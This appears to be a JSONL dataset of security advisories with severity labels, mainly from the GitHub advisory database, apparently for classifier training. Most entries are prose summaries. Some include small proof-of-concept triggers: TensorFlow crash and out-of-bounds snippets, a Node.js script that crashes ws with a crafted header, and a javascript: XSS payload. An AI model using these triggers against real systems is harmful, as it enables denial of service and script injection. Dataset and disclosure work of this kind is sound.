-{"id": "99ce0ed20c20f4564491", "text": "Pgsync Contains Cleartext Transmission of Sensitive Information\n\npgsync before 0.6.7 is affected by Information Disclosure of sensitive information. Syncing the schema with the `--schema-first` and `--schema-only` options is mishandled. For example, the sslmode connection parameter may be lost, which means that SSL would not be used.", "text_raw": "Pgsync Contains Cleartext Transmission of Sensitive Information\n\n[Severity: HIGH]\n\npgsync before 0.6.7 is affected by Information Disclosure of sensitive information. Syncing the schema with the `--schema-first` and `--schema-only` options is mishandled. For example, the sslmode connection parameter may be lost, which means that SSL would not be used.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-27", "split": "train"}
-{"id": "724e110978484093daa7", "text": "GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities", "text_raw": "GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-06-19", "split": "train"}
-{"id": "205cd777da0932a5d12f", "text": "Directory exposure in jetty\n\n### Impact\nIf the `${jetty.base}` directory or the `${jetty.base}/webapps` directory is a symlink (soft link in Linux), the contents of the `${jetty.base}/webapps` directory may be deployed as a static web application, exposing the content of the directory for download.\n\nFor example, the problem manifests in the following `${jetty.base}`:\n```$ tree demo-base/\ndemo-base/\n├── etc\n├── lib\n├── resources\n├── start.d\n├── deploy\n│   └── async-rest.war\n└── webapps -> deploy\n\n```\n\n### Workarounds\nDo not use a symlink", "text_raw": "Directory exposure in jetty\n\n[Severity: LOW]\n\n### Impact\nIf the `${jetty.base}` directory or the `${jetty.base}/webapps` directory is a symlink (soft link in Linux), the contents of the `${jetty.base}/webapps` directory may be deployed as a static web application, exposing the content of the directory for download. \n\nFor example, the problem manifests in the following `${jetty.base}`:\n```$ tree demo-base/\ndemo-base/\n├── etc\n├── lib\n├── resources\n├── start.d\n├── deploy\n│   └── async-rest.war\n└── webapps -> deploy\n\n``` \n\n### Workarounds\nDo not use a symlink", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "b1b2647888d043acbada", "text": "Malicious Package in flatmap-stream\n\nVersion 0.1.1 of `flatmap-stream` is considered malicious.\n\nThis module runs an encrypted payload targeting a very specific application, `copay` and because they shared the same description it would have likely worked for `copay-dash`.\n\nThe injected code:\n\n- Read in AES encrypted data from a file disguised as a test fixture\n- Grabbed the npm package description of the module that imported it, using an automatically set environment variable\n- Used the package description as a key to decrypt a chunk of data pulled in from the disguised file\n\nThe decrypted data was part of a module, which was then compiled in memory and executed.\n\nThis module performed the following actions:\n\n- Decrypted another chunk of data from the disguised file\n- Concatenated a small, commented prefix from the first decrypted chunk to the end of the second decrypted chunk\n- Performed minor decoding tasks to transform the concatenated block of code from invalid JS to valid JS (we believe this was done to evade detection by dynamic analysis tools)\n- Wrote this processed block of JS out to a file stored in a dependency that would be packaged by the build scripts:\n\nThe chunk of code that was written out was the actual malicious code, intended to be run on devices owned by the end users of Copay.\n\nThis code would do the following:\n\n- Detect the current environment: Mobile/Cordova/Electron\n- Check the Bitcoin and Bitcoin Cash balances on the victim's copay account\n- If the current balance was greater than 100 Bitcoin, or 1000 Bitcoin Cash:\n  - Harvest the victim's account data in full\n  - Harvest the victim's copay private keys\n  - Send the victim's account data/private keys off to a collection\n\n## Recommendation\n\nIf you find this module in your environment it's best to remove it. The malicious version of event-stream and flatmap-stream have been removed from the npm Registry.", "text_raw": "Malicious Package in flatmap-stream\n\n[Severity: CRITICAL]\n\nVersion 0.1.1 of `flatmap-stream` is considered malicious.\n\nThis module runs an encrypted payload targeting a very specific application, `copay` and because they shared the same description it would have likely worked for `copay-dash`.\n\nThe injected code:\n\n- Read in AES encrypted data from a file disguised as a test fixture\n- Grabbed the npm package description of the module that imported it, using an automatically set environment variable\n- Used the package description as a key to decrypt a chunk of data pulled in from the disguised file\n\nThe decrypted data was part of a module, which was then compiled in memory and executed.\n\nThis module performed the following actions:\n\n- Decrypted another chunk of data from the disguised file\n- Concatenated a small, commented prefix from the first decrypted chunk to the end of the second decrypted chunk\n- Performed minor decoding tasks to transform the concatenated block of code from invalid JS to valid JS (we believe this was done to evade detection by dynamic analysis tools)\n- Wrote this processed block of JS out to a file stored in a dependency that would be packaged by the build scripts: \n\nThe chunk of code that was written out was the actual malicious code, intended to be run on devices owned by the end users of Copay.\n\nThis code would do the following:\n\n- Detect the current environment: Mobile/Cordova/Electron\n- Check the Bitcoin and Bitcoin Cash balances on the victim's copay account\n- If the current balance was greater than 100 Bitcoin, or 1000 Bitcoin Cash:\n  - Harvest the victim's account data in full\n  - Harvest the victim's copay private keys\n  - Send the victim's account data/private keys off to a collection\n\n\n## Recommendation\n\nIf you find this module in your environment it's best to remove it. The malicious version of event-stream and flatmap-stream have been removed from the npm Registry.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "124fb85551a9a2b1f22e", "text": "Data race in disrustor\n\nAn issue was discovered in the disrustor crate through 2020-12-17 for Rust. RingBuffer doe not properly limit the number of mutable references.", "text_raw": "Data race in disrustor\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the disrustor crate through 2020-12-17 for Rust. RingBuffer doe not properly limit the number of mutable references.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f1be8740ee7cf24c40a0", "text": "Possible route enumeration in production mode via RouteNotFoundError view in Vaadin 10, 11-14, and 15-19\n\nImproper sanitization of path in default `RouteNotFoundError` view in `com.vaadin:flow-server` versions 1.0.0 through 1.0.14 (Vaadin 10.0.0 through 10.0.18), 1.1.0 prior to 2.0.0 (Vaadin 11 prior to 14), 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), and 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows network attacker to enumerate all available routes via crafted HTTP request when application is running in production mode and no custom handler for `NotFoundException` is provided.", "text_raw": "Possible route enumeration in production mode via RouteNotFoundError view in Vaadin 10, 11-14, and 15-19\n\n[Severity: MEDIUM]\n\nImproper sanitization of path in default `RouteNotFoundError` view in `com.vaadin:flow-server` versions 1.0.0 through 1.0.14 (Vaadin 10.0.0 through 10.0.18), 1.1.0 prior to 2.0.0 (Vaadin 11 prior to 14), 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), and 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows network attacker to enumerate all available routes via crafted HTTP request when application is running in production mode and no custom handler for `NotFoundException` is provided.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "785612e120cdd8e42a1c", "text": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Stream Disclosure", "text_raw": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-09-25", "split": "train"}
-{"id": "d54006cb8a6986bede50", "text": "Pyro mishandles pid files in temporary directory locations and opening the pid file as root\n\npyro before 3.15 unsafely handles pid files in temporary directory locations and opening the pid file as root. An attacker can use this flaw to overwrite arbitrary files via symlinks.", "text_raw": "Pyro mishandles pid files in temporary directory locations and opening the pid file as root\n\n[Severity: HIGH]\n\npyro before 3.15 unsafely handles pid files in temporary directory locations and opening the pid file as root. An attacker can use this flaw to overwrite arbitrary files via symlinks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "ae59ea4c89f2627226c7", "text": "Path Traversal in crud-file-server\n\nVersions of `crud-file-server` prior to 0.9.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nUpgrade to version 0.9.0 or later.", "text_raw": "Path Traversal in crud-file-server\n\n[Severity: HIGH]\n\nVersions of `crud-file-server` prior to 0.9.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nUpgrade to version 0.9.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "d64cf53b6049393b9dba", "text": "Downloads Resources over HTTP in pennyworth\n\nAffected versions of `pennyworth` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in pennyworth\n\n[Severity: HIGH]\n\nAffected versions of `pennyworth` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "5288dede1df9e0b7eae6", "text": "Heap OOB in `UpperBound` and `LowerBound`\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.UpperBound`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UpperBound(\n  sorted_input=[1,2,3],\n  values=tf.constant(value=[[0,0,0],[1,1,1],[2,2,2]],dtype=tf.int64),\n  out_type=tf.int64)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/searchsorted_op.cc#L85-L104) does not validate the rank of `sorted_input` argument:\n\n```cc\n  void Compute(OpKernelContext* ctx) override {\n    const Tensor& sorted_inputs_t = ctx->input(0);\n    // ...\n    OP_REQUIRES(ctx, sorted_inputs_t.dim_size(0) == values_t.dim_size(0),\n                Status(error::INVALID_ARGUMENT,\n                       \"Leading dim_size of both tensors must match.\"));\n    // ...\n    if (output_t->dtype() == DT_INT32) {\n      OP_REQUIRES(ctx,\n                  FastBoundsCheck(sorted_inputs_t.dim_size(1), ...));\n      // ...\n    }\n```\n\nAs we access the first two dimensions of `sorted_inputs_t` tensor, it must have rank at least 2.\n\nA similar issue occurs in `tf.raw_ops.LowerBound`.\n\n### Patches\nWe have patched the issue in GitHub commit [42459e4273c2e47a3232cc16c4f4fff3b3a35c38](https://github.com/tensorflow/tensorflow/commit/42459e4273c2e47a3232cc16c4f4fff3b3a35c38).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `UpperBound` and `LowerBound`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.UpperBound`:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.UpperBound(\n  sorted_input=[1,2,3],\n  values=tf.constant(value=[[0,0,0],[1,1,1],[2,2,2]],dtype=tf.int64),\n  out_type=tf.int64)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/searchsorted_op.cc#L85-L104) does not validate the rank of `sorted_input` argument:\n\n```cc\n  void Compute(OpKernelContext* ctx) override {\n    const Tensor& sorted_inputs_t = ctx->input(0);\n    // ...\n    OP_REQUIRES(ctx, sorted_inputs_t.dim_size(0) == values_t.dim_size(0),\n                Status(error::INVALID_ARGUMENT,\n                       \"Leading dim_size of both tensors must match.\"));\n    // ...\n    if (output_t->dtype() == DT_INT32) {\n      OP_REQUIRES(ctx,\n                  FastBoundsCheck(sorted_inputs_t.dim_size(1), ...));\n      // ...\n    }\n```\n\nAs we access the first two dimensions of `sorted_inputs_t` tensor, it must have rank at least 2.\n\nA similar issue occurs in `tf.raw_ops.LowerBound`.\n\n### Patches\nWe have patched the issue in GitHub commit [42459e4273c2e47a3232cc16c4f4fff3b3a35c38](https://github.com/tensorflow/tensorflow/commit/42459e4273c2e47a3232cc16c4f4fff3b3a35c38).\n  \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c86e86f23b5ee47aa077", "text": "Improper Sanitizing of plugin names in helm\n\n### Impact\n\nSecurity researchers at Trail of Bits discovered that plugin names are not sanitized properly. As a result, a malicious plugin author could use characters in a plugin name that would result in unexpected behavior, such as duplicating the name of another plugin or spoofing the output to `helm --help`.\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/plugin\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2.\n\n### Workarounds\n\nDo not install untrusted Helm plugins. Examine the `name` field in the `plugin.yaml` file for a plugin, looking for characters outside of the [a-zA-Z0-9._-] range.", "text_raw": "Improper Sanitizing of plugin names in helm\n\n[Severity: LOW]\n\n### Impact\n\nSecurity researchers at Trail of Bits discovered that plugin names are not sanitized properly. As a result, a malicious plugin author could use characters in a plugin name that would result in unexpected behavior, such as duplicating the name of another plugin or spoofing the output to `helm --help`.\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/plugin\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2.\n\n### Workarounds\n\nDo not install untrusted Helm plugins. Examine the `name` field in the `plugin.yaml` file for a plugin, looking for characters outside of the [a-zA-Z0-9._-] range.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "db15d4d5ab6fa1e30abe", "text": "Unsafe deserialization in MLAlchemy\n\nAn exploitable vulnerability exists in the YAML parsing functionality in the parse_yaml_query method in parser.py in MLAlchemy before 0.2.2. When processing YAML-Based queries for data, a YAML parser can execute arbitrary Python commands resulting in command execution because load is used where safe_load should have been used. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "text_raw": "Unsafe deserialization in MLAlchemy\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the YAML parsing functionality in the parse_yaml_query method in parser.py in MLAlchemy before 0.2.2. When processing YAML-Based queries for data, a YAML parser can execute arbitrary Python commands resulting in command execution because load is used where safe_load should have been used. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "5bfa1d1142575f81fa65", "text": "XSS in hello.js\n\nThis affects the package hello.js before 1.18.6. The code get the param oauth_redirect from url and pass it to location.assign without any check and sanitisation. So we can simply pass some XSS payloads into the url param oauth_redirect, such as `javascript:alert(1)`.", "text_raw": "XSS in hello.js\n\n[Severity: CRITICAL]\n\nThis affects the package hello.js before 1.18.6. The code get the param oauth_redirect from url and pass it to location.assign without any check and sanitisation. So we can simply pass some XSS payloads into the url param oauth_redirect, such as `javascript:alert(1)`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-13", "split": "train"}
-{"id": "379c8414e1989a37cbee", "text": "Malicious Package in commander-js\n\nAll versions of `commander-js` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads an arbitrary file and executes its contents as a post-install script.\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.", "text_raw": "Malicious Package in commander-js\n\n[Severity: CRITICAL]\n\nAll versions of `commander-js` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads an arbitrary file and executes its contents as a post-install script.\n\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "bfeeba6163262475e8ee", "text": "Out-of-bounds Read in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds read error in the cv::RBaseStream::readBlock function in modules/imgcodecs/src/bitstrm.cpp when reading an image file by using cv::imread, as demonstrated by the 8-opencv-invalid-read-fread test case.", "text_raw": "Out-of-bounds Read in OpenCV \n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds read error in the cv::RBaseStream::readBlock function in modules/imgcodecs/src/bitstrm.cpp when reading an image file by using cv::imread, as demonstrated by the 8-opencv-invalid-read-fread test case.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "fa9ecae87186003a4f1a", "text": "iniNet SpiderControl PLC Editor Simatic 6.30.04 Insecure File Permissions", "text_raw": "iniNet SpiderControl PLC Editor Simatic 6.30.04 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-12-06", "split": "train"}
-{"id": "cc0fde175d824f773d71", "text": "Path traversal in Node-Red\n\n### Impact\n\nThis vulnerability allows arbitrary path traversal via the Projects API.\n\nIf the Projects feature is enabled, a user with `projects.read` permission is able to access any file via the Projects API.\n\n### Patches\n\nThe issue has been patched in Node-RED 1.2.8\n\n### Workarounds\n\nThe vulnerability applies only to the Projects feature which is not enabled by default in Node-RED.\n\nThe primary workaround is not give untrusted users read access to the Node-RED editor.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.", "text_raw": "Path traversal in Node-Red\n\n[Severity: LOW]\n\n### Impact\n\nThis vulnerability allows arbitrary path traversal via the Projects API.\n\nIf the Projects feature is enabled, a user with `projects.read` permission is able to access any file via the Projects API.\n\n### Patches\n\nThe issue has been patched in Node-RED 1.2.8\n\n### Workarounds\n\nThe vulnerability applies only to the Projects feature which is not enabled by default in Node-RED.\n\nThe primary workaround is not give untrusted users read access to the Node-RED editor.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-26", "split": "train"}
-{"id": "3e97b42d5e43feec9032", "text": "Improper Authenication in Pion DTLS\n\nhandleIncomingPacket in conn.go in Pion DTLS before 1.5.2 lacks a check for application data with epoch 0, which allows remote attackers to inject arbitrary unencrypted data after handshake completion.", "text_raw": "Improper Authenication in Pion DTLS\n\n[Severity: CRITICAL]\n\nhandleIncomingPacket in conn.go in Pion DTLS before 1.5.2 lacks a check for application data with epoch 0, which allows remote attackers to inject arbitrary unencrypted data after handshake completion.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "9d53226e0eb08fcf9c55", "text": "Open redirect via transitional IPv6 addresses on dual-stack networks\n\n### Impact\nRequests to user provided domains were not restricted to external IP addresses when transitional IPv6 addresses were used. Outbound requests to federation, identity servers, when calculating the key validity for third-party invite events, sending push notifications, and generating URL previews are affected. This could cause Synapse to make requests to internal infrastructure on dual-stack networks.\n\n### Patches\nThis issue is fixed by #9240.\n\n### Workarounds\nOutbound requests to the following address ranges can be blocked by a firewall, if unused for internal communication between systems:\n\n* `::ffff/80`\n* `::0000/80` (note that this IP range is considered deprecated by the IETF)\n* `2002::/16` (note that this IP range is considered deprecated by the IETF)\n\n### References\n* [RFC3056](https://tools.ietf.org/html/rfc3056)\n* [RFC4291](https://tools.ietf.org/html/rfc4291)", "text_raw": "Open redirect via transitional IPv6 addresses on dual-stack networks\n\n[Severity: HIGH]\n\n### Impact\nRequests to user provided domains were not restricted to external IP addresses when transitional IPv6 addresses were used. Outbound requests to federation, identity servers, when calculating the key validity for third-party invite events, sending push notifications, and generating URL previews are affected. This could cause Synapse to make requests to internal infrastructure on dual-stack networks.\n\n### Patches\nThis issue is fixed by #9240.\n\n### Workarounds\nOutbound requests to the following address ranges can be blocked by a firewall, if unused for internal communication between systems:\n\n* `::ffff/80`\n* `::0000/80` (note that this IP range is considered deprecated by the IETF)\n* `2002::/16` (note that this IP range is considered deprecated by the IETF)\n\n### References\n* [RFC3056](https://tools.ietf.org/html/rfc3056)\n* [RFC4291](https://tools.ietf.org/html/rfc4291)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "733e4f54d5ad568d97ae", "text": "Code injection in codiad\n\nCodiad Web IDE through 2.8.4 allows PHP Code injection.", "text_raw": "Code injection in codiad\n\n[Severity: CRITICAL]\n\nCodiad Web IDE through 2.8.4 allows PHP Code injection.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "7cfc77706986ab071525", "text": "Code injection in RubyGems\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. A crafted gem with a multi-line name is not handled correctly. Therefore, an attacker could inject arbitrary code to the stub line of gemspec, which is eval-ed by code in ensure_loadable_spec during the preinstall check.", "text_raw": "Code injection in RubyGems\n\n[Severity: HIGH]\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. A crafted gem with a multi-line name is not handled correctly. Therefore, an attacker could inject arbitrary code to the stub line of gemspec, which is eval-ed by code in ensure_loadable_spec during the preinstall check.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "f2dec552e8f57d8ee989", "text": "Division by 0 in `Reverse`\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.Reverse`:\n\n```python\nimport tensorflow as tf\n\ntensor_input = tf.constant([], shape=[0, 1, 1], dtype=tf.int32)\ndims = tf.constant([False, True, False], shape=[3], dtype=tf.bool)\n\ntf.raw_ops.Reverse(tensor=tensor_input, dims=dims)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/36229ea9e9451dac14a8b1f4711c435a1d84a594/tensorflow/core/kernels/reverse_op.cc#L75-L76) performs a division based on the first dimension of the tensor argument:\n\n```cc\nconst int64 N = input.dim_size(0);\nconst int64 cost_per_unit = input.NumElements() / N;\n```\n\nSince this is controlled by the user, an attacker can trigger a denial of service.\n\n### Patches\nWe have patched the issue in GitHub commit [4071d8e2f6c45c1955a811fee757ca2adbe462c1](https://github.com/tensorflow/tensorflow/commit/4071d8e2f6c45c1955a811fee757ca2adbe462c1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `Reverse`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.Reverse`:\n\n```python\nimport tensorflow as tf\n\ntensor_input = tf.constant([], shape=[0, 1, 1], dtype=tf.int32)\ndims = tf.constant([False, True, False], shape=[3], dtype=tf.bool)\n\ntf.raw_ops.Reverse(tensor=tensor_input, dims=dims)\n``` \n    \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/36229ea9e9451dac14a8b1f4711c435a1d84a594/tensorflow/core/kernels/reverse_op.cc#L75-L76) performs a division based on the first dimension of the tensor argument:\n    \n```cc\nconst int64 N = input.dim_size(0);\nconst int64 cost_per_unit = input.NumElements() / N;\n```\n\nSince this is controlled by the user, an attacker can trigger a denial of service.\n\n### Patches\nWe have patched the issue in GitHub commit [4071d8e2f6c45c1955a811fee757ca2adbe462c1](https://github.com/tensorflow/tensorflow/commit/4071d8e2f6c45c1955a811fee757ca2adbe462c1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c3296a1c10027f78c5ed", "text": "EyesOfNetwork Improper Privilege Management Vulnerability\n\nAffected: EyesOfNetwork EyesOfNetwork\n\nEyesOfNetwork contains an improper privilege management vulnerability that may allow a user to run commands as root via a crafted Nmap Scripting Engine (NSE) script to nmap7.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "EyesOfNetwork Improper Privilege Management Vulnerability\n\nAffected: EyesOfNetwork EyesOfNetwork\n\nEyesOfNetwork contains an improper privilege management vulnerability that may allow a user to run commands as root via a crafted Nmap Scripting Engine (NSE) script to nmap7.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1ff04096e454d6fde8c0", "text": "Prototype Pollution in handlebars\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.", "text_raw": "Prototype Pollution in handlebars\n\n[Severity: HIGH]\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "58b6e94aa694315e0ae8", "text": "Denial of Service in ws\n\nAffected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\nconst request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\nconst socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.", "text_raw": "Denial of Service in ws\n\n[Severity: HIGH]\n\nAffected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "884434a9276fd2a56d4f", "text": "Anfibia Reactor 2.1.1 (login.do) Remote XSS POST Injection Vulnerability", "text_raw": "Anfibia Reactor 2.1.1 (login.do) Remote XSS POST Injection Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-04-06", "split": "train"}
